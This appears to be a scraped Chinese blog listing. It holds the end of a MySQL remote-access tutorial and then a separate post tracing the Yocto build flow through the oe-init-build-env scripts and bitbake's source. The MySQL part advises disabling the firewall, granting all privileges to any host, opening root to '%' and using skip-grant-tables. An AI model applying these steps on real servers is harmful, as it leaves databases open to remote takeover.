    /sbin/iptables -I INPUT -p tcp --dport 3306 -j ACCEPT
    3)	保存设置
    /etc/init.d/iptables save
    4)	查看状态
    /etc/init.d/iptables status
    5)	临时关闭防火墙服务
    service iptables stop
    6)	开启防火墙服务
    service iptables start
    7)	开机不再启动防火墙服务
    chkconfig iptables off
    

    3.数据库当前账号拒绝远程访问

    1)	如果你想myUser使用myPassword从任何主机连接到mysql服务器的话 
    mysql>GRANT ALL PRIVILEGES ON *.* TO 'myuser'@'%' IDENTIFIED BY 'mypassword' WITH GRANT OPTION; 
    mysql>FLUSH PRIVILEGES; 
    2)	如果你想允许用户myUser从ip为192.168.*.*的主机连接到mysql服务器,并使用myPassword作为密码 
    mysql>GRANT ALL PRIVILEGES ON *.* TO 'myuser'@'192.168.*.*' IDENTIFIED BY 'mypassword' WITH GRANT OPTION; 
    mysql>FLUSH PRIVILEGES; 
    3)	如果你想允许用户myUser从ip为192.168.1.6的主机连接到mysql服务器的dk数据库,并使用myPassword作为密码 
    mysql>GRANT ALL PRIVILEGES ON dk.* TO 'myUser'@'192.168.1.3' IDENTIFIED BY 'myPassword' WITH GRANT OPTION; 
    mysql>FLUSH PRIVILEGES; 
    4)	通过修改表来实现远程
    mysql -u root –p
    mysql>use mysql; 
    mysql>update user set host = '%' where user = 'root'; 
    
    注意:使用update的时候,可能遇到设置用户密码的时候遇到样的权限问题,参考上面的设置,设置: mysql> set sql_safe_updates=0;然后重新使用update代码.
    mysql>select host, user from user;
    

    我遇到的连接不上的原因是防火墙原因和数据库当前账户不能远程连接的问题:
    在这里插入图片描述
    防火墙问题使用添加端口监视、保存设置可以解决

    当前账户不能远程通过方式(3.2)以及在后面的修改表的方式(3.4)可以解决.

    以上设置如果系统不启动还是成功的,但是如果系统重新启动,会出现在linux中输入mysql后就进入数据库,而且使用use mysql会没有用,造成这样的原因是在数据库中存在user为null的匿名账户,解决的方法是删除这些账户:

    i.在 etc/my.cnf中添加” skip-grant-tables”,保存退出
    
    ii.重启数据库服务
    
    iii.使用mysql进入数据库
    
    	Use mysql
    	set sql_safe_updates=0;
    	delete from user where user = '';
    	exit
    

    在这里插入图片描述

    iv.然后在my.cnf把刚才添加的删除,保存退出
    v.重启mysql服务
    

    设置mysql服务开机自启

    把服务文件拷贝到init.d下.并重命名mysqld

    cp /usr/local/mysql/support-files/mysql.server /etc/init.d/mysqld
    

    赋予可执行权限

    chmod +x /etc/init.d/mysqld
    

    添加服务

    chkconfig --add mysqld
    

    显示列表

    chkconfig –list
    

    在这里插入图片描述

    如果看到mysql的服务,并且2,3,4,5都是on的话则成功,如果是off,则键入

    chkconfig --level 2345 mysql on
    

    重启服务器

    验证 如果有监听,说明成功了

    netstat -na | grep 3306
    

    在这里插入图片描述

    展开全文
  • yocto 编译流程分析

    2013-04-15 10:11:14
    source poky/oe-init-build-env your_build_path 看下 oe-init-build-env 这个shell 脚本都干了些什么: if [ -z "$ZSH_NAME" ] && [ "x$0" = "x./oe-init-build-env" ]; then echo "Error: Thi

    git clone 一份poky 的工程到本地。

    source poky/oe-init-build-env your_build_path

    看下 oe-init-build-env 这个shell 脚本都干了些什么:

    if [ -z "$ZSH_NAME" ] && [ "x$0" = "x./oe-init-build-env" ]; then
       echo "Error: This script needs to be sourced. Please run as '. ./oe-init-build-env'"
    else
       if [ -n "$BASH_SOURCE" ]; then
          OEROOT="`dirname $BASH_SOURCE`"
       elif [ -n "$ZSH_NAME" ]; then
          OEROOT="`dirname $0`"
       else
          OEROOT="`pwd`"
       fi
       OEROOT=`readlink -f "$OEROOT"`
       export OEROOT
       . $OEROOT/scripts/oe-buildenv-internal && \
            $OEROOT/scripts/oe-setup-builddir && \
            [ -n "$BUILDDIR" ] && cd $BUILDDIR
       unset OEROOT
       unset BBPATH
    fi
    

    转载: OSChina 上一个博友分析的这段shell 脚本:

    http://my.oschina.net/u/158589/blog/70921


    第一步,判断该脚本是否是用source或者.的方法运行的。 但是

    1 ["x$0"="x./oe-init-build-env"]
    只能对./oe-init-build-env这种执行方式报错,对./yocto/oe-init-build-env是不会报错的。


    第二步,设置OEROOT这个变量。当用.或者source去执行脚本时,BASH_SOURCE这个变量会被自动设置到源文件路径。于是dirname $BASH_SOURCE就获得了脚本所在目录。readlink -f $OEROOT获得了绝对路径。

     

    第三步,执行oe-buildenv-internal和oe-setup-builddir这两个脚本,并且进入到build目录。

    (注意这里的oe-buildenv-internal是用.执行的,而oe-setup-build是fork shell执行的。因为oe-setup-builddir中用到了OEROOT这个变量,所以在此之前,OEROOT必须被export,正如脚本中所做的那样。)

     

    第四步,unset一些变量。因为.或者source的执行方式是在原shell中执行,并不fork shell,所以如果不unset,会一直留在该shell中。

     

    chenqi@chenqi-laptop ~/MyPro/ShellScript/yocto $ . ./oe-init-build-env
    BASH_SOURCE = ./oe-init-build-env, OEROOT = .
    OEROOT = /home/chenqi/MyPro/ShellScript/yocto

     

    chenqi@chenqi-laptop ~/MyPro/ShellScript $ source yocto/oe-init-build-env
    BASH_SOURCE = yocto/oe-init-build-env, OEROOT = yocto
    OEROOT = /home/chenqi/MyPro/ShellScript/yocto

     

    可见,无论在哪个目录下执行,最后获得的OEROOT的绝对路径都是一致的。(主要利用BASH_SOURCE, dirname, readlink)。


    . $OEROOT/scripts/oe-buildenv-internal

    oe-buildenv-internal 这个shell 脚本主要是设置环境变量(poky/bitbake/bin/ 和 poky/scripts 这两个路径加入到PATH中。bitbake 命令就在poky/bitbake/bin/路径下面。),如下:

    PATH="${OEROOT}/scripts:$BITBAKEDIR/bin/:$PATH"
    unset BITBAKEDIR
    
    # Used by the runqemu script
    export BUILDDIR
    export PATH
    export BB_ENV_EXTRAWHITE="MACHINE DISTRO TCMODE TCLIBC HTTP_PROXY http_proxy \
    HTTPS_PROXY https_proxy FTP_PROXY ftp_proxy FTPS_PROXY ftps_proxy ALL_PROXY \
    all_proxy NO_PROXY no_proxy SSH_AGENT_PID SSH_AUTH_SOCK BB_SRCREV_POLICY \
    SDKMACHINE BB_NUMBER_THREADS BB_NO_NETWORK PARALLEL_MAKE GIT_PROXY_COMMAND \
    SOCKS5_PASSWD SOCKS5_USER SCREENDIR STAMPS_DIR"

    $OEROOT/scripts/oe-setup-builddir

    oe-setup-builddir 这个shell 脚本,创建编译目录,判断当前编译目录下面是否存在conf/local.conf 文件,如果不存在local.conf 配置文件的话,通过Template模板,sample 生成一个local.conf。

    下面这段shell 脚本的意思是首先检查 meta-yocto 目录下面是否存在conf/ 如果存在的话就用meta-yocto/conf/  下面的 local.conf.sample 和 bblayers.conf, 如果不存在的话就到meta/conf 下面去找 local.conf.sample 和 bblayer.conf。


    TEMPLATECONF=${TEMPLATECONF:-meta-yocto/conf}
    
    # 
    # $TEMPLATECONF can point to a directory for the template local.conf & bblayers.conf
    #
    if [ "x" != "x$TEMPLATECONF" ]; then
        if ! (test -d "$TEMPLATECONF"); then
            # Allow TEMPLATECONF=meta-xyz/conf as a shortcut
            if [ -d "$OEROOT/$TEMPLATECONF" ]; then
                TEMPLATECONF="$OEROOT/$TEMPLATECONF"
            fi
            if ! (test -d "$TEMPLATECONF"); then
                echo >&2 "Error: '$TEMPLATECONF' must be a directory containing local.conf & bblayers.conf"
                return
            fi
        fi
        OECORELAYERCONF="$TEMPLATECONF/bblayers.conf.sample"
        OECORELOCALCONF="$TEMPLATECONF/local.conf.sample"
        OECORENOTESCONF="$TEMPLATECONF/conf-notes.txt"
    fi
    
    if [ "x" = "x$OECORELOCALCONF" ]; then
        OECORELOCALCONF="$OEROOT/meta/conf/local.conf.sample"
    fi
    if ! (test -r "$BUILDDIR/conf/local.conf"); then
    cat <<EOM
    You had no conf/local.conf file. This configuration file has therefore been
    created for you with some default values. You may wish to edit it to use a 
    different MACHINE (target hardware) or enable parallel build options to take 
    advantage of multiple cores for example. See the file for more information as 
    common configuration options are commented.
    
    The Yocto Project has extensive documentation about OE including a reference manual
    which can be found at:
        http://yoctoproject.org/documentation
    
    For more information about OpenEmbedded see their website:
        http://www.openembedded.org/
    
    EOM
        cp -f $OECORELOCALCONF $BUILDDIR/conf/local.conf
    fi
    if [ "x" = "x$OECORELAYERCONF" ]; then
        OECORELAYERCONF="$OEROOT/meta/conf/bblayers.conf.sample"
    fi
    if ! (test -r "$BUILDDIR/conf/bblayers.conf"); then
    cat <<EOM
    You had no conf/bblayers.conf file. The configuration file has been created for
    you with some default values. To add additional metadata layers into your
    configuration please add entries to this file.
    
    The Yocto Project has extensive documentation about OE including a reference manual
    which can be found at:
        http://yoctoproject.org/documentation
    
    For more information about OpenEmbedded see their website:
        http://www.openembedded.org/
    
    
    EOM
    
        # Put the abosolute path to the layers in bblayers.conf so we can run
        # bitbake without the init script after the first run
        sed "s|##COREBASE##|$OEROOT|g" $OECORELAYERCONF > $BUILDDIR/conf/bblayers.conf
    fi
    

    至此, build_path 下面的conf/local.conf 以及 bblayer.conf 文件就 创建好了,接下来就可以执行 bitbake target 编译了。



    ----------------------------------------------------------------  华丽丽的分割线 ---------------------------------------------------------


    现在开始分析bitbake 编译流程:

    bitbake --help 可以看到bitbake 后面可以跟的选项参数:

    yocto_build$ bitbake --help
    Usage: bitbake [options] [package ...]
    
    Executes the specified task (default is 'build') for a given set of BitBake files.
    It expects that BBFILES is defined, which is a space separated list of files to
    be executed.  BBFILES does support wildcards.
    Default BBFILES are the .bb files in the current directory.
    
    Options:
      --version             show program's version number and exit
      -h, --help            show this help message and exit
      -b BUILDFILE, --buildfile=BUILDFILE
                            execute the task against this .bb file, rather than a
                            package from BBFILES. Does not handle any
                            dependencies.
      -k, --continue        continue as much as possible after an error. While the
                            target that failed, and those that depend on it,
                            cannot be remade, the other dependencies of these
                            targets can be processed all the same.
      -a, --tryaltconfigs   continue with builds by trying to use alternative
                            providers where possible.
      -f, --force           force run of specified cmd, regardless of stamp status
      -c CMD, --cmd=CMD     Specify task to execute. Note that this only executes
                            the specified task for the providee and the packages
                            it depends on, i.e. 'compile' does not implicitly call
                            stage for the dependencies (IOW: use only if you know
                            what you are doing). Depending on the base.bbclass a
                            listtasks tasks is defined and will show available
                            tasks
      -C INVALIDATE_STAMP, --clear-stamp=INVALIDATE_STAMP
                            Invalidate the stamp for the specified cmd such as
                            'compile' and run the default task for the specified
                            target(s)
      -r PREFILE, --read=PREFILE
                            read the specified file before bitbake.conf
      -R POSTFILE, --postread=POSTFILE
                            read the specified file after bitbake.conf
      -v, --verbose         output more chit-chat to the terminal
      -D, --debug           Increase the debug level. You can specify this more
                            than once.
      -n, --dry-run         don't execute, just go through the motions
      -S, --dump-signatures
                            don't execute, just dump out the signature
                            construction information
      -p, --parse-only      quit after parsing the BB files (developers only)
      -s, --show-versions   show current and preferred versions of all recipes
      -e, --environment     show the global or per-package environment (this is
                            what used to be bbread)
      -g, --graphviz        emit the dependency trees of the specified packages in
                            the dot syntax, and the pn-buildlist to show the build
                            list
      -I EXTRA_ASSUME_PROVIDED, --ignore-deps=EXTRA_ASSUME_PROVIDED
                            Assume these dependencies don't exist and are already
                            provided (equivalent to ASSUME_PROVIDED). Useful to
                            make dependency graphs more appealing
      -l DEBUG_DOMAINS, --log-domains=DEBUG_DOMAINS
                            Show debug logging for the specified logging domains
      -P, --profile         profile the command and print a report
      -u UI, --ui=UI        userinterface to use
      -t SERVERTYPE, --servertype=SERVERTYPE
                            Choose which server to use, none, process or xmlrpc
      --revisions-changed   Set the exit code depending on whether upstream
                            floating revisions have changed or not
      --server-only         Run bitbake without UI,  the frontend can connect with
                            bitbake server itself
      -B BIND, --bind=BIND  The name/address for the bitbake server to bind to
      --no-setscene         Do not run any setscene tasks, forces builds
    

    那么,bitbake 对于这些个选项参数是怎么处理的呢。bitbake target -xxx -xxxx -xx这样其实就是执行poky/bitbake/bitbake 这个python 脚本:

    这个python 脚本相对简单,可以看下最后的这段代码:

    通过下面这个 if 判断,调用 main 函数执行,使用 python 库中的

    optparse.OptionParser
    对选项参数进行处理。


    if __name__ == "__main__":
        try:
            ret = main()

    #!/usr/bin/env python
    # ex:ts=4:sw=4:sts=4:et
    # -*- tab-width: 4; c-basic-offset: 4; indent-tabs-mode: nil -*-
    
    import os
    import sys, logging
    sys.path.insert(0, os.path.join(os.path.dirname(os.path.dirname(__file__)),
                                    'lib'))
    
    import optparse
    import warnings
    from traceback import format_exception
    try:
        import bb
    except RuntimeError as exc:
        sys.exit(str(exc))
    from bb import event
    import bb.msg
    from bb import cooker
    from bb import ui
    from bb import server
    
    __version__ = "1.17.1"
    logger = logging.getLogger("BitBake")
    
    # Unbuffer stdout to avoid log truncation in the event
    # of an unorderly exit as well as to provide timely
    # updates to log files for use with tail
    try:
        if sys.stdout.name == '<stdout>':
            sys.stdout = os.fdopen(sys.stdout.fileno(), 'w', 0)
    except:
        pass
    
    class BBConfiguration(object):
        """
        Manages build options and configurations for one run
        """
    
        def __init__(self, options):
            for key, val in options.__dict__.items():
                setattr(self, key, val)
            self.pkgs_to_build = []
    
    *** ***
    
    def main():
        parser = optparse.OptionParser(
            version = "BitBake Build Tool Core version %s, %%prog version %s" % (bb.__version__, __version__),
            usage = """%prog [options] [package ...]
    
    Executes the specified task (default is 'build') for a given set of BitBake files.
    It expects that BBFILES is defined, which is a space separated list of files to
    be executed.  BBFILES does support wildcards.
    Default BBFILES are the .bb files in the current directory.""")
    
        parser.add_option("-b", "--buildfile", help = "execute the task against this .bb file, rather than a package from BBFILES. Does not handle any dependencies.",
                   action = "store", dest = "buildfile", default = None)
    
        parser.add_option("-k", "--continue", help = "continue as much as possible after an error. While the target that failed, and those that depend on it, cannot be remade, the other dependencies of these targets can be processed all the same.",
                   action = "store_false", dest = "abort", default = True)
    
        parser.add_option("-a", "--tryaltconfigs", help = "continue with builds by trying to use alternative providers where possible.",
                   action = "store_true", dest = "tryaltconfigs", default = False)
    
        parser.add_option("-f", "--force", help = "force run of specified cmd, regardless of stamp status",
                   action = "store_true", dest = "force", default = False)
    
        parser.add_option("-c", "--cmd", help = "Specify task to execute. Note that this only executes the specified task for the providee and the packages it depends on, i.e. 'compile' does not implicitly call stage for the dependencies (IOW: use only if you know what you are doing). Depending on the base.bbclass a listtasks tasks is defined and will show available tasks",
                   action = "store", dest = "cmd")
    
        parser.add_option("-C", "--clear-stamp", help = "Invalidate the stamp for the specified cmd such as 'compile' and run the default task for the specified target(s)",
                    action = "store", dest = "invalidate_stamp")
    
        parser.add_option("-r", "--read", help = "read the specified file before bitbake.conf",
                   action = "append", dest = "prefile", default = [])
    
        parser.add_option("-R", "--postread", help = "read the specified file after bitbake.conf",
                          action = "append", dest = "postfile", default = [])
    
        parser.add_option("-v", "--verbose", help = "output more chit-chat to the terminal",
                   action = "store_true", dest = "verbose", default = False)
    
        parser.add_option("-D", "--debug", help = "Increase the debug level. You can specify this more than once.",
                   action = "count", dest="debug", default = 0)
    
        parser.add_option("-n", "--dry-run", help = "don't execute, just go through the motions",
                   action = "store_true", dest = "dry_run", default = False)
    
        parser.add_option("-S", "--dump-signatures", help = "don't execute, just dump out the signature construction information",
                   action = "store_true", dest = "dump_signatures", default = False)
    
        parser.add_option("-p", "--parse-only", help = "quit after parsing the BB files (developers only)",
                   action = "store_true", dest = "parse_only", default = False)
    
        parser.add_option("-s", "--show-versions", help = "show current and preferred versions of all recipes",
                   action = "store_true", dest = "show_versions", default = False)
    
        parser.add_option("-e", "--environment", help = "show the global or per-package environment (this is what used to be bbread)",
                   action = "store_true", dest = "show_environment", default = False)
    
        parser.add_option("-g", "--graphviz", help = "emit the dependency trees of the specified packages in the dot syntax, and the pn-buildlist to show the build list",
                    action = "store_true", dest = "dot_graph", default = False)
    
        parser.add_option("-I", "--ignore-deps", help = """Assume these dependencies don't exist and are already provided (equivalent to ASSUME_PROVIDED). Useful to make dependency graphs more appealing""",
                    action = "append", dest = "extra_assume_provided", default = [])
    
        parser.add_option("-l", "--log-domains", help = """Show debug logging for the specified logging domains""",
                    action = "append", dest = "debug_domains", default = [])
    
        parser.add_option("-P", "--profile", help = "profile the command and print a report",
                   action = "store_true", dest = "profile", default = False)
    
        parser.add_option("-u", "--ui", help = "userinterface to use",
                   action = "store", dest = "ui")
    
        parser.add_option("-t", "--servertype", help = "Choose which server to use, none, process or xmlrpc",
                   action = "store", dest = "servertype")
    
        parser.add_option("", "--revisions-changed", help = "Set the exit code depending on whether upstream floating revisions have changed or not",
                   action = "store_true", dest = "revisions_changed", default = False)
    
        parser.add_option("", "--server-only", help = "Run bitbake without UI,  the frontend can connect with bitbake server itself",
                   action = "store_true", dest = "server_only", default = False)
    
        parser.add_option("-B", "--bind", help = "The name/address for the bitbake server to bind to",
                   action = "store", dest = "bind", default = False)
        parser.add_option("", "--no-setscene", help = "Do not run any setscene tasks, forces builds",
                   action = "store_true", dest = "nosetscene", default = False)
        options, args = parser.parse_args(sys.argv)
        
        print "+++++ qc test +++++ options:", options
        print "+++++ qc test +++++ args:", args
    
        configuration = BBConfiguration(options)
        configuration.pkgs_to_build.extend(args[1:])
    
        print "+++++ qc test +++++ pkgs_to_build:",configuration.pkgs_to_build
        
        *** ***
       
        # Ensure logging messages get sent to the UI as events
        handler = bb.event.LogHandler()
        logger.addHandler(handler)
    
        # Before we start modifying the environment we should take a pristine
        # copy for possible later use
        initialenv = os.environ.copy()
        # Clear away any spurious environment variables while we stoke up the cooker
        cleanedvars = bb.utils.clean_environment()
    
        server = server.BitBakeServer()
        if configuration.bind:
            server.initServer((configuration.bind, 0))
        else:
            server.initServer()
    
        idle = server.getServerIdleCB()
    
        cooker = bb.cooker.BBCooker(configuration, idle, initialenv)
        cooker.parseCommandLine()
    
        server.addcooker(cooker)
        server.saveConnectionDetails()
        server.detach()
    
        # Should no longer need to ever reference cooker
        del cooker
    
        logger.removeHandler(handler)
    
        if not configuration.server_only:
            # Setup a connection to the server (cooker)
            server_connection = server.establishConnection()
    
            # Restore the environment in case the UI needs it
            for k in cleanedvars:
                os.environ[k] = cleanedvars[k]
    
            try:
                return server.launchUI(ui_main, server_connection.connection, server_connection.events)
            finally:
                bb.event.ui_queue = []
                server_connection.terminate()
        else:
            print("server address: %s, server port: %s" % (server.serverinfo.host, server.serverinfo.port))
    
        return 1
    
    if __name__ == "__main__":
        try:
            ret = main()
        except Exception:
            ret = 1
            import traceback
            traceback.print_exc(5)
        sys.exit(ret)
    
    

     这里调用到了 parseConfigurationFiles() 函数,这个函数用于解析 prefiles, postfiles (这两个变量都是空,需要通过执行bitbake -r -R 指定才行),解析 layer.conf, bblayer.conf, bitbake.conf, 以及 bb 文件中 inherit 的 bbclass,以及包含base.bbclass。

       def parseConfigurationFiles(self, prefiles, postfiles):
            data = self.configuration.data
            bb.parse.init_parser(data)
    
            # Parse files for loading *before* bitbake.conf and any includes
            for f in prefiles:
                data = _parse(f, data)
    
            layerconf = self._findLayerConf()
            if layerconf:
                parselog.debug(2, "Found bblayers.conf (%s)", layerconf)
                data = _parse(layerconf, data)
    
                layers = (data.getVar('BBLAYERS', True) or "").split()
    
                data = bb.data.createCopy(data)
                for layer in layers:
                    parselog.debug(2, "Adding layer %s", layer)
                    data.setVar('LAYERDIR', layer)
                    data = _parse(os.path.join(layer, "conf", "layer.conf"), data)
                    data.expandVarref('LAYERDIR')
    
                data.delVar('LAYERDIR')
    
            if not data.getVar("BBPATH", True):
                raise SystemExit("The BBPATH variable is not set")
    
            data = _parse(os.path.join("conf", "bitbake.conf"), data)
    
            # Parse files for loading *after* bitbake.conf and any includes
            for p in postfiles:
                data = _parse(p, data)
    
            # Handle any INHERITs and inherit the base class
            bbclasses  = ["base"] + (data.getVar('INHERIT', True) or "").split()
            for bbclass in bbclasses:
                data = _inherit(bbclass, data)
    
            # Nomally we only register event handlers at the end of parsing .bb files
            # We register any handlers we've found so far here...
            for var in data.getVar('__BBHANDLERS') or []:
                bb.event.register(var, data.getVar(var))
    
            if data.getVar("BB_WORKERCONTEXT", False) is None:
                bb.fetch.fetcher_init(data)
            bb.codeparser.parser_cache_init(data)
            bb.event.fire(bb.event.ConfigParsed(), data)
    
            if data.getVar("BB_INVALIDCONF") is True:
                data.setVar("BB_INVALIDCONF", False)
                self.parseConfigurationFiles(self.configuration.prefile,
                                             self.configuration.postfile)
            else:
                bb.parse.init_parser(data)
                data.setVar('BBINCLUDED',bb.parse.get_file_depends(data))
                self.configuration.data = data
                self.configuration.data_hash = data.get_hash()
    
    

    将所有的conf, bb, bbclass, etc 文件解析完毕之后,处理一下这些数据,提取出task list ,之后就是执行这些task 了。

    下面以linux-yocto 为例看下如何找到这些task 的先后关系:

    yocto_build/tmp/work/qemuppc-poky-linux/linux-yocto/3.4.36+gitAUTOINC+80b4b5110dca5184b57e85f1e775fb006a2e85ad_ddbc382cbc45a009e9ce17f7d448fcfd050ab5fc-r4.3/temp/log.task_order

    这个文件显示了编译 linux-yocto 执行的task 以及 task 的执行顺序。

    do_fetch (24333): log.do_fetch.24333
    do_unpack (24359): log.do_unpack.24359
    do_kernel_checkout (24371): log.do_kernel_checkout.24371
    do_validate_branches (24399): log.do_validate_branches.24399
    do_patch (24438): log.do_patch.24438
    do_populate_lic (7751): log.do_populate_lic.7751
    do_kernel_configme (7750): log.do_kernel_configme.7750
    do_configure (18091): log.do_configure.18091
    do_kernel_configcheck (18191): log.do_kernel_configcheck.18191
    do_compile (23327): log.do_compile.23327
    do_compile_kernelmodules (11394): log.do_compile_kernelmodules.11394
    do_uboot_mkimage (11396): log.do_uboot_mkimage.11396
    do_kernel_link_vmlinux (11397): log.do_kernel_link_vmlinux.11397
    do_sizecheck (11395): log.do_sizecheck.11395
    do_install (24128): log.do_install.24128
    do_package (13631): log.do_package.13631
    do_deploy (13632): log.do_deploy.13632
    do_populate_sysroot (13633): log.do_populate_sysroot.13633
    do_packagedata (16431): log.do_packagedata.16431
    do_package_write_rpm (16452): log.do_package_write_rpm.16452
    do_listtasks (7391): log.do_listtasks.7391

    接下来介绍如何验证这些task 以及顺序:

    poky/meta/recipes-kernel/linux/linux-yocto_3.4.bb

    require recipes-kernel/linux/linux-yocto.inc

    KBRANCH_DEFAULT = "standard/base"
    KBRANCH = "${KBRANCH_DEFAULT}"

    SRCREV_machine_qemuarm ?= "7cc80532306889b75619f8a1b713048e25f59e19"
    SRCREV_machine_qemumips  ?= "debce6677988e03b50c369aba5861d4f9b2e557d"
    SRCREV_machine_qemuppc ?= "ddbc382cbc45a009e9ce17f7d448fcfd050ab5fc"
    SRCREV_machine_qemux86 ?= "c994390cfa28339cbc1ec3b56eeec83a5fa75bb7"
    SRCREV_machine_qemux86-64 ?= "c994390cfa28339cbc1ec3b56eeec83a5fa75bb7"
    SRCREV_machine ?= "c994390cfa28339cbc1ec3b56eeec83a5fa75bb7"
    SRCREV_meta ?= "80b4b5110dca5184b57e85f1e775fb006a2e85ad"

    SRC_URI = "git://git.yoctoproject.org/linux-yocto-3.4.git;protocol=git;bareclone=1;branch=${KBRANCH},${KMETA};name=machine,meta"

    LINUX_VERSION ?= "3.4.36"

    PR = "${INC_PR}.3"
    PV = "${LINUX_VERSION}+git${SRCPV}"

    KMETA = "meta"

    COMPATIBLE_MACHINE = "qemuarm|qemux86|qemuppc|qemumips|qemux86-64"

    # Functionality flags
    KERNEL_FEATURES_append = " features/netfilter/netfilter.scc"
    KERNEL_FEATURES_append_qemux86=" cfg/sound.scc"
    KERNEL_FEATURES_append_qemux86-64=" cfg/sound.scc"
    KERNEL_FEATURES_append_qemux86=" cfg/paravirt_kvm.scc"
    KERNEL_FEATURES_append = " ${@bb.utils.contains("TUNE_FEATURES", "mx32", " cfg/x32.scc", "" ,d)}"


    poky/meta/recipes-kernel/linux/linux-yocto.inc


    DESCRIPTION = "Yocto Kernel"
    SECTION = "kernel"
    LICENSE = "GPLv2"

    LIC_FILES_CHKSUM = "file://COPYING;md5=d7810fab7487fb0aad327b76f1be7cd7"

    INC_PR = "r4"

    # A KMACHINE is the mapping of a yocto $MACHINE to what is built
    # by the kernel. This is typically the branch that should be built,
    # and it can be specific to the machine or shared
    # KMACHINE = "UNDEFINED"

    LINUX_KERNEL_TYPE ?= "standard"

    # KMETA ?= ""
    KBRANCH ?= "master"
    KMACHINE ?= "${MACHINE}"
    SRCREV_FORMAT ?= "meta_machine"

    LINUX_VERSION_EXTENSION ?= "-yocto-${LINUX_KERNEL_TYPE}"

    do_patch[depends] = "kern-tools-native:do_populate_sysroot"

    addtask kernel_configme before do_configure after do_patch

    # Pick up shared functions
    inherit kernel
    inherit kernel-yocto
    require linux-dtb.inc


    B = "${WORKDIR}/linux-${MACHINE}-${LINUX_KERNEL_TYPE}-build"

    do_install_append(){
            if [ -n "${KMETA}" ]; then
                    rm -rf ${STAGING_KERNEL_DIR}/${KMETA}
            fi
    }

    # extra tasks
    addtask kernel_link_vmlinux after do_compile before do_install
    addtask validate_branches before do_patch after do_kernel_checkout
    addtask kernel_configcheck after do_configure before do_compile


    poky/meta/classes/base.bbclass

    poky/meta/classes/kernel.bbclass

    poky/meta/classes/kernel-yocto.bbclass

    这是 linux-yocto 所有相关的bb, bbclass 文件,所有的task 都是通过addtasks 关键字添加的,它们之间先后关系构成了所谓的依赖关系,第一个task,在这几个bb, bbclass 文件里面肯定没有 addtask before the_1st_task 这样的语句。

    poky/meta/classes$ grep -nr "addtask . | grep "patch"

    就按照上面这样的方法不断的grep 就能验证出log.task_order 里面显示的task,以及 正确的执行顺序。

    ex. $ bitbake linux-yocto -c cleanall 执行 cleanall task 需要运行的tasklist:

    poky/meta/classes$ grep -nr "addtask" . | grep "clean"
    ./base.bbclass:636:addtask cleansstate after do_clean
    ./base.bbclass:637:addtask qc_test after do_cleansstate
    ./base.bbclass:648:addtask cleanall after do_cleansstate
    ./utility-tasks.bbclass:16:addtask clean

    其中,qc_test task 是我自己加的测试 task:

    addtask cleansstate after do_clean
    addtask qc_test after do_cleansstate

    do_qc_test() {
            echo "qc hello base.bbclass !"
            echo "qc   test !!!!!~~~~ "
    }

    这样,构建起来的tasklist 如下:

    clean clean
    cleansstate cleansstate
    cleanall qc_test

    如此,可以看出,执行 cleanall task 的话,clean, cleansstate task 都要执行,因为具有依赖关系,相反,qc_test 和 cleanall 虽然都是 after do_cleansstate ,但是二者之间没有依赖关系。其它的task 的 runqueue list 也是这样得到。


    bitbake 如果不刻意指定要执行的task 的话,默认执行的是build 操作,而这个操作是针对一系列的bb 文件,这些文件是在BBFILES定义的。看一下BBFILES 这个变量的来历,方法如下

    /poky/bitbake$ grep -nr "BBFILES" .

    直接在bitbake 目录下面搜索有谁对BBFILES 这个变量进行了赋值操作,这样就能定位到./lib/bb/cooker.py

    反向推理一下:

    搜集bbfiles 函数:

        def collect_bbfiles( self ):
            """Collect all available .bb build files"""
            parsed, cached, skipped, masked = 0, 0, 0, 0
    
            collectlog.debug(1, "collecting .bb files")
    
            files = (data.getVar( "BBFILES", self.configuration.data, True) or "").split()
            data.setVar("BBFILES", " ".join(files), self.configuration.data)
    
            # Sort files by priority
            files.sort( key=lambda fileitem: self.calc_bbfile_priority(fileitem) )
    

        def matchFile(self, buildfile):
            """
            Find the .bb file which matches the expression in 'buildfile'.
            Raise an error if multiple files
            """
            matches = self.matchFiles(buildfile)
    
    

       def buildFile(self, buildfile, task):
            """
            Build the file matching regexp buildfile
            """
    
            # Too many people use -b because they think it's how you normally
            # specify a target to be built, so show a warning
            bb.warn("Buildfile specified, dependencies will not be handled. If this is not what you want, do not use -b / --buildfile.")
    
            # Parse the configuration here. We need to do it explicitly here since
            # buildFile() doesn't use the cache
            self.parseConfiguration()
    
            # If we are told to do the None task then query the default task
            if (task == None):
                task = self.configuration.cmd
    
            fn, cls = bb.cache.Cache.virtualfn2realfn(buildfile)
            fn = self.matchFile(fn)
    
            self.buildSetVars()
    


       def parseCommandLine(self):
            # Parse any commandline into actions
            self.commandlineAction = {'action':None, 'msg':None}
            if self.configuration.show_environment:
                if 'world' in self.configuration.pkgs_to_build:
                    self.commandlineAction['msg'] = "'world' is not a valid target for --environment."
                elif 'universe' in self.configuration.pkgs_to_build:
                    self.commandlineAction['msg'] = "'universe' is not a valid target for --environment."
                elif len(self.configuration.pkgs_to_build) > 1:
                    self.commandlineAction['msg'] = "Only one target can be used with the --environment option."
                elif self.configuration.buildfile and len(self.configuration.pkgs_to_build) > 0:
                    self.commandlineAction['msg'] = "No target should be used with the --environment and --buildfile options."
                elif len(self.configuration.pkgs_to_build) > 0:
                    self.commandlineAction['action'] = ["showEnvironmentTarget", self.configuration.pkgs_to_build]
                    self.configuration.data.setVar("BB_CONSOLELOG", None)
                else:
                    self.commandlineAction['action'] = ["showEnvironment", self.configuration.buildfile]
                    self.configuration.data.setVar("BB_CONSOLELOG", None)
            elif self.configuration.buildfile is not None:
                self.commandlineAction['action'] = ["buildFile", self.configuration.buildfile, self.configuration.cmd]
            elif self.configuration.revisions_changed:
                self.commandlineAction['action'] = ["compareRevisions"]
            elif self.configuration.show_versions:
                self.commandlineAction['action'] = ["showVersions"]
            elif self.configuration.parse_only:
                self.commandlineAction['action'] = ["parseFiles"]
            elif self.configuration.dot_graph:
                if self.configuration.pkgs_to_build:
                    self.commandlineAction['action'] = ["generateDotGraph", self.configuration.pkgs_to_build, self.configuration.cmd]
                else:
                    self.commandlineAction['msg'] = "Please specify a package name for dependency graph generation."
            else:
                if self.configuration.pkgs_to_build:
                    self.commandlineAction['action'] = ["buildTargets", self.configuration.pkgs_to_build, self.configuration.cmd]
                else:
                    #self.commandlineAction['msg'] = "Nothing to do.  Use 'bitbake world' to build everything, or run 'bitbake --help' for usage information."
                    self.commandlineAction = None

